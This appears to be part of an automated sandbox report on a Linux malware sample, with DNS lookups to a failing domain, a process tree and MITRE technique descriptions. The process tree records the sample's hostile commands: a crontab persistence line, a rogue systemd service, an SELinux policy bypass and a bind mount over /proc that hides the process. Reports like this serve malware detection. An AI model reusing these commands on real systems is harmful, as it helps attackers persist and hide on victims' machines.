Nov 2, 2024 03:58:32.816659927 CET	1.1.1.1	192.168.2.15	0x64d6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:33.001816034 CET	1.1.1.1	192.168.2.15	0xf309	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:33.009524107 CET	1.1.1.1	192.168.2.15	0xf309	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:34.026657104 CET	1.1.1.1	192.168.2.15	0x103	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:34.027297020 CET	1.1.1.1	192.168.2.15	0x9f51	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:34.033412933 CET	1.1.1.1	192.168.2.15	0x103	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:34.033864975 CET	1.1.1.1	192.168.2.15	0x9f51	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:35.051772118 CET	1.1.1.1	192.168.2.15	0xc304	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:35.055326939 CET	1.1.1.1	192.168.2.15	0x3955	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:35.058341026 CET	1.1.1.1	192.168.2.15	0xc304	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:35.062191010 CET	1.1.1.1	192.168.2.15	0x3955	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:36.161411047 CET	1.1.1.1	192.168.2.15	0x2e50	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:36.164000988 CET	1.1.1.1	192.168.2.15	0xfdfd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:36.168204069 CET	1.1.1.1	192.168.2.15	0x2e50	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:36.171212912 CET	1.1.1.1	192.168.2.15	0xfdfd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:37.187403917 CET	1.1.1.1	192.168.2.15	0x5abf	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:37.191132069 CET	1.1.1.1	192.168.2.15	0x2730	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:37.193919897 CET	1.1.1.1	192.168.2.15	0x5abf	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:37.324810982 CET	1.1.1.1	192.168.2.15	0x2730	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: c4RvDuLtq1.elf PID: 5843, Parent PID: 5771

General

Start time (UTC):	02:56:32
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	/tmp/c4RvDuLtq1.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5850, Parent PID: 5843

General

Start time (UTC):	02:56:32
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5850, Parent PID: 5843

General

Start time (UTC):	02:56:32
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	/tmp/c4RvDuLtq1.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5864, Parent PID: 5850

General

Start time (UTC):	02:56:33
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: bash PID: 5864, Parent PID: 5850

General

Start time (UTC):	02:56:33
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	/bin/bash -c /etc/32676&
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5869, Parent PID: 5864

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: 32676 PID: 5869, Parent PID: 3044

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	/etc/32676
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: 32676 PID: 5873, Parent PID: 5869

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: sleep PID: 5873, Parent PID: 5869

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/bin/sleep
Arguments:	sleep 60
File size:	39256 bytes
MD5 hash:	fcba58db24e5e3672c4d70a3bb01d7a4

Chronological Activities

Analysis Process: 32676 PID: 6067, Parent PID: 5869

General

Start time (UTC):	02:57:34
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: 32676 PID: 6069, Parent PID: 5869

General

Start time (UTC):	02:57:34
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: sleep PID: 6069, Parent PID: 5869

General

Start time (UTC):	02:57:34
Start date (UTC):	02/11/2024
Path:	/usr/bin/sleep
Arguments:	sleep 60
File size:	39256 bytes
MD5 hash:	fcba58db24e5e3672c4d70a3bb01d7a4

Chronological Activities

Analysis Process: 32676 PID: 6128, Parent PID: 5869

General

Start time (UTC):	02:58:34
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: 32676 PID: 6130, Parent PID: 5869

General

Start time (UTC):	02:58:34
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: sleep PID: 6130, Parent PID: 5869

General

Start time (UTC):	02:58:34
Start date (UTC):	02/11/2024
Path:	/usr/bin/sleep
Arguments:	sleep 60
File size:	39256 bytes
MD5 hash:	fcba58db24e5e3672c4d70a3bb01d7a4

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5870, Parent PID: 5850

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: service PID: 5870, Parent PID: 5850

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	service crond start
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5872, Parent PID: 5870

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5872, Parent PID: 5870

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5874, Parent PID: 5870

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5874, Parent PID: 5870

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5875, Parent PID: 5870

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5875, Parent PID: 5870

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5876, Parent PID: 5870

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5877, Parent PID: 5876

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5877, Parent PID: 5876

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5878, Parent PID: 5876

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5878, Parent PID: 5876

General

Start time (UTC):	02:56:34
Start date (UTC):	02/11/2024
Path:	/usr/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5870, Parent PID: 5850

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl start crond.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5879, Parent PID: 5850

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: bash PID: 5879, Parent PID: 5850

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	/bin/bash -c "cd /boot;systemctl daemon-reload;systemctl enable quotaoff.service;systemctl start quotaoff.service;journalctl -xe --no-pager"
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5881, Parent PID: 5879

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemctl PID: 5881, Parent PID: 5879

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: bash PID: 5885, Parent PID: 5879

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemctl PID: 5885, Parent PID: 5879

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable quotaoff.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: bash PID: 5889, Parent PID: 5879

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemctl PID: 5889, Parent PID: 5879

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl start quotaoff.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: bash PID: 5904, Parent PID: 5879

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: journalctl PID: 5904, Parent PID: 5879

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/usr/bin/journalctl
Arguments:	journalctl -xe --no-pager
File size:	80120 bytes
MD5 hash:	bf3a987344f3bacafc44efd882abda8b

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5909, Parent PID: 5850

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: bash PID: 5909, Parent PID: 5850

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	/bin/bash -c "cd /boot;ausearch -c 'System.mod' --raw \| audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp"
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5914, Parent PID: 5909

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5915, Parent PID: 5909

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5916, Parent PID: 5909

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5917, Parent PID: 5850

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: bash PID: 5917, Parent PID: 5850

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	/bin/bash -c "echo \"/1 * * * root /.mod \" >> /etc/crontab"
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5922, Parent PID: 5850

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: renice PID: 5922, Parent PID: 5850

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/bin/renice
Arguments:	renice -20 5850
File size:	14568 bytes
MD5 hash:	3686c936ed1df483498266a36871cb5b

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5927, Parent PID: 5850

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: mount PID: 5927, Parent PID: 5850

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/bin/mount
Arguments:	mount -o bind /tmp/ /proc/5850
File size:	55528 bytes
MD5 hash:	92b20aa8b155ecd3ba9414aa477ef565

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5952, Parent PID: 5850

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: service PID: 5952, Parent PID: 5850

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	service cron start
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5957, Parent PID: 5952

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5957, Parent PID: 5952

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5958, Parent PID: 5952

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5958, Parent PID: 5952

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5959, Parent PID: 5952

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5959, Parent PID: 5952

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5960, Parent PID: 5952

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5961, Parent PID: 5960

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5961, Parent PID: 5960

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5962, Parent PID: 5960

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5962, Parent PID: 5960

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5952, Parent PID: 5850

General

Start time (UTC):	02:56:41
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl start cron.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: c4RvDuLtq1.elf PID: 5988, Parent PID: 5850

General

Start time (UTC):	02:56:41
Start date (UTC):	02/11/2024
Path:	/tmp/c4RvDuLtq1.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: systemctl PID: 5988, Parent PID: 5850

General

Start time (UTC):	02:56:41
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl start crond.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 5883, Parent PID: 5882

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5883, Parent PID: 5882

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5887, Parent PID: 5886

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5887, Parent PID: 5886

General

Start time (UTC):	02:56:36
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5890, Parent PID: 1

General

Start time (UTC):	02:56:37
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: udisksd PID: 5941, Parent PID: 803

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5941, Parent PID: 803

General

Start time (UTC):	02:56:39
Start date (UTC):	02/11/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: systemd PID: 5974, Parent PID: 1

General

Start time (UTC):	02:56:41
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: cron PID: 5974, Parent PID: 1

General

Start time (UTC):	02:56:41
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	/usr/sbin/cron -f
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: cron PID: 6022, Parent PID: 5974

General

Start time (UTC):	02:57:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	-
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: cron PID: 6031, Parent PID: 6022

General

Start time (UTC):	02:57:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	-
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: sh PID: 6031, Parent PID: 6022

General

Start time (UTC):	02:57:01
Start date (UTC):	02/11/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "/.mod "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6032, Parent PID: 6031

General

Start time (UTC):	02:57:01
Start date (UTC):	02/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: .mod PID: 6032, Parent PID: 6031

General

Start time (UTC):	02:57:01
Start date (UTC):	02/11/2024
Path:	/.mod
Arguments:	/.mod
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: .mod PID: 6033, Parent PID: 6032

General

Start time (UTC):	02:57:01
Start date (UTC):	02/11/2024
Path:	/.mod
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemd PID: 6051, Parent PID: 1

General

Start time (UTC):	02:57:01
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: cron PID: 6051, Parent PID: 1

General

Start time (UTC):	02:57:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	/usr/sbin/cron -f
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: cron PID: 6083, Parent PID: 6051

General

Start time (UTC):	02:58:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	-
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: cron PID: 6092, Parent PID: 6083

General

Start time (UTC):	02:58:01
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	-
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Chronological Activities

Analysis Process: sh PID: 6092, Parent PID: 6083

General

Start time (UTC):	02:58:01
Start date (UTC):	02/11/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "/.mod "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6093, Parent PID: 6092

General

Start time (UTC):	02:58:01
Start date (UTC):	02/11/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: .mod PID: 6093, Parent PID: 6092

General

Start time (UTC):	02:58:01
Start date (UTC):	02/11/2024
Path:	/.mod
Arguments:	/.mod
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: .mod PID: 6094, Parent PID: 6093

General

Start time (UTC):	02:58:02
Start date (UTC):	02/11/2024
Path:	/.mod
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemd PID: 6114, Parent PID: 1

General

Start time (UTC):	02:58:02
Start date (UTC):	02/11/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: cron PID: 6114, Parent PID: 1

General

Start time (UTC):	02:58:02
Start date (UTC):	02/11/2024
Path:	/usr/sbin/cron
Arguments:	/usr/sbin/cron -f
File size:	55944 bytes
MD5 hash:	2c82564ff5cc862c89392b061c7fbd59

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
